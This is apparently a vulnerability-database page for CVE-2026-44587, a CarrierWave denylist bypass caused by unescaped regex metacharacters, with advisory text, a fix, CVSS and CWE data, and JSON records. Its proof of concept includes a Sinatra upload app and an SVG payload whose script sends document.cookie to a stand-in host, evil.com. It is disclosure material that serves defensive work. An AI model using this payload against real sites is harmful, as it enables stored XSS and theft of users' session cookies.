Vulnerability-Lookup

GHSA-7G26-2QGJ-CHFG

Vulnerability from github – Published: 2026-05-27 00:03 – Updated: 2026-07-08 17:39

Summary

CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters

Details

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Severity

4.7 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "carrierwave"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0.beta"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "carrierwave"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44587"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T00:03:11Z",
    "nvd_published_at": "2026-06-17T13:20:40Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nCarrierWave\u0027s content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.\n\n**Note**: CarrierWave is aware `#content_type_denylist is deprecated for the security reason`, but it still used by developers, and the problem here isn\u0027t denylist allows any filetype, and thats not a  vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.\n\n### Details\nIn `lib/carrierwave/uploader/content_type_denylist.rb:57`, string denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring:\n\n```ruby\ndef denylisted_content_type?(denylist, content_type)\n  Array(denylist).any? { |item| content_type =~ /#{item}/ }\nend\nThe entry \"image/svg+xml\" becomes the regex /image\\/svg+xml/ where + is a quantifier meaning \"one or more g\", not a literal +. This regex never matches the real MIME type \"image/svg+xml\" which contains a literal +.\nThis is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \\A anchor:\nrubydef allowlisted_content_type?(allowlist, content_type)\n  Array(allowlist).any? do |item|\n    item = Regexp.quote(item) if item.class != Regexp\n    content_type =~ /\\A#{item}/\n  end\nend\n```\n\nOther affected MIME types include `application/xhtml+xml` and any type containing regex metacharacters.\n\nFix: Apply Regexp.quote for string entries and anchor with \\A, matching the existing allowlist implementation:\n```\nrubydef denylisted_content_type?(denylist, content_type)\n  Array(denylist).any? do |item|\n    item = Regexp.quote(item) if item.class != Regexp\n    content_type =~ /\\A#{item}/\n  end\nend\n```\n\n### PoC\n\n\n```\n app.rb\nrequire \"sinatra\"\nrequire \"carrierwave\"\nrequire \"fileutils\"\n\nFileUtils.mkdir_p(\"uploads/files\")\n\nCarrierWave.configure do |config|\n  config.root      = File.expand_path(\"uploads\")\n  config.store_dir = \"files\"\nend\n\nclass VaultUploader \u003c CarrierWave::Uploader::Base\n  storage :file\n  def store_dir = \"files\"\n  def content_type_denylist = %w[image/svg+xml]\nend\n\npost \"/upload\" do\n  content_type :json\n  san = CarrierWave::SanitizedFile.new(\n    tempfile:     params[:file][:tempfile],\n    filename:     params[:file][:filename],\n    content_type: params[:file][:type]\n  )\n  uploader = VaultUploader.new\n  begin\n    uploader.store!(san)\n    { result: \"VULNERABLE\", message: \"SVG bypassed denylist\", path: uploader.path }.to_json\n  rescue CarrierWave::IntegrityError =\u003e e\n    { result: \"blocked\", message: e.message }.to_json\n  end\nend\n```\n\n```\nbundle exec ruby app.rb \u0026\n\necho \u0027\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003cscript\u003edocument.location=\"https://evil.com/?c=\"+document.cookie\u003c/script\u003e\u003c/svg\u003e\u0027 \u003e xss.svg\n\ncurl -X POST http://localhost:4567/upload \\\n  -F \"file=@xss.svg;type=image/svg+xml\"\n```\n\nExpected response (denylist working):\n```\njson{ \"result\": \"blocked\", \"message\": \"...\" }\n```\n\n\nActual response:\n```\njson{ \"result\": \"VULNERABLE\", \"message\": \"SVG bypassed denylist\", \"path\": \"...\" }\n```\n### Impact\nAny application that uses content_type_denylist to block image/svg+xml \u2014 the most common use case, specifically to prevent stored XSS \u2014 is silently unprotected. An attacker can upload an SVG file containing arbitrary",
  "id": "GHSA-7g26-2qgj-chfg",
  "modified": "2026-07-08T17:39:32Z",
  "published": "2026-05-27T00:03:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-7g26-2qgj-chfg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44587"
    },
    {
      "type": "WEB",
      "url": "https://github.com/carrierwaveuploader/carrierwave/commit/21221cc6e260633f7da78c6133a88666a5529d27"
    },
    {
      "type": "WEB",
      "url": "https://github.com/carrierwaveuploader/carrierwave/commit/4c4a005775a436c5165df014dc9b1874c227d86c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/carrierwaveuploader/carrierwave"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/carrierwave/CVE-2026-44587.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44587"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters"
}

CVE-2026-44587 (GCVE-0-2026-44587)

Vulnerability from cvelistv5 – Published: 2026-06-16 23:10 – Updated: 2026-06-17 18:12

Title

CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters

Summary

CarrierWave is a framework to upload files from Ruby applications. In versions prior to 2.2.7 and 3.1.3, the content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. In lib/carrierwave/uploader/content_type_denylist.rb:57, denylist entries are interpolated directly into a regex without Regexp.quote or anchoring, so an entry such as image/svg+xml becomes the pattern /image\/svg+xml/, in which + is treated as a quantifier rather than a literal character and therefore never matches the real MIME type image/svg+xml. This is inconsistent with the allowlist implementation, which correctly applies both Regexp.quote and a \A anchor. Other content types containing regex metacharacters, such as application/xhtml+xml, are affected as well. As a result, any application that relies on content_type_denylist to block image/svg+xml, most commonly to prevent stored XSS, is silently unprotected. An attacker can upload an SVG file containing arbitrary JavaScript; if the application serves that SVG inline from its own origin, the script executes in the victim's browser, resulting in stored XSS. This issue has been fixed in versions 2.2.7 and 3.1.3.

Severity

4.7 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-17 18:06 UTC

CWE

CWE-625 - Permissive Regular Expression
CWE-184 - Incomplete List of Disallowed Inputs
CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/carrierwaveuploader/carrierwav…	x_refsource_CONFIRM
https://github.com/carrierwaveuploader/carrierwav…	x_refsource_MISC
https://github.com/carrierwaveuploader/carrierwav…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
carrierwaveuploader	carrierwave	Affected: < 2.2.7 Affected: >= 3.0.0.rc, < 3.1.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-44587",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-17T18:06:48.640514Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-17T18:12:37.182Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-7g26-2qgj-chfg"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "carrierwave",
          "vendor": "carrierwaveuploader",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.2.7"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.0.0.rc, \u003c 3.1.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CarrierWave is a framework to upload files from Ruby applications. In versions prior to 2.2.7 and 3.1.3, the content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. In lib/carrierwave/uploader/content_type_denylist.rb:57, denylist entries are interpolated directly into a regex without Regexp.quote or anchoring, so an entry such as image/svg+xml becomes the pattern /image\\/svg+xml/, in which + is treated as a quantifier rather than a literal character and therefore never matches the real MIME type image/svg+xml. This is inconsistent with the allowlist implementation, which correctly applies both Regexp.quote and a \\A anchor. Other content types containing regex metacharacters, such as application/xhtml+xml, are affected as well. As a result, any application that relies on content_type_denylist to block image/svg+xml, most commonly to prevent stored XSS, is silently unprotected. An attacker can upload an SVG file containing arbitrary JavaScript; if the application serves that SVG inline from its own origin, the script executes in the victim\u0027s browser, resulting in stored XSS. This issue has been fixed in versions 2.2.7 and 3.1.3."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.7,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-625",
              "description": "CWE-625: Permissive Regular Expression",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-184",
              "description": "CWE-184: Incomplete List of Disallowed Inputs",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-16T23:10:43.665Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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        {
          "name": "https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-7g26-2qgj-chfg",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-7g26-2qgj-chfg"
        },
        {
          "name": "https://github.com/carrierwaveuploader/carrierwave/commit/21221cc6e260633f7da78c6133a88666a5529d27",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/carrierwaveuploader/carrierwave/commit/21221cc6e260633f7da78c6133a88666a5529d27"
        },
        {
          "name": "https://github.com/carrierwaveuploader/carrierwave/commit/4c4a005775a436c5165df014dc9b1874c227d86c",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/carrierwaveuploader/carrierwave/commit/4c4a005775a436c5165df014dc9b1874c227d86c"
        }
      ],
      "source": {
        "advisory": "GHSA-7g26-2qgj-chfg",
        "discovery": "UNKNOWN"
      },
      "title": "CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-7G26-2QGJ-CHFG

Summary

Details

PoC

Impact

CVE-2026-44587 (GCVE-0-2026-44587)

Tags

Sightings

Nomenclature

Related by attack behaviour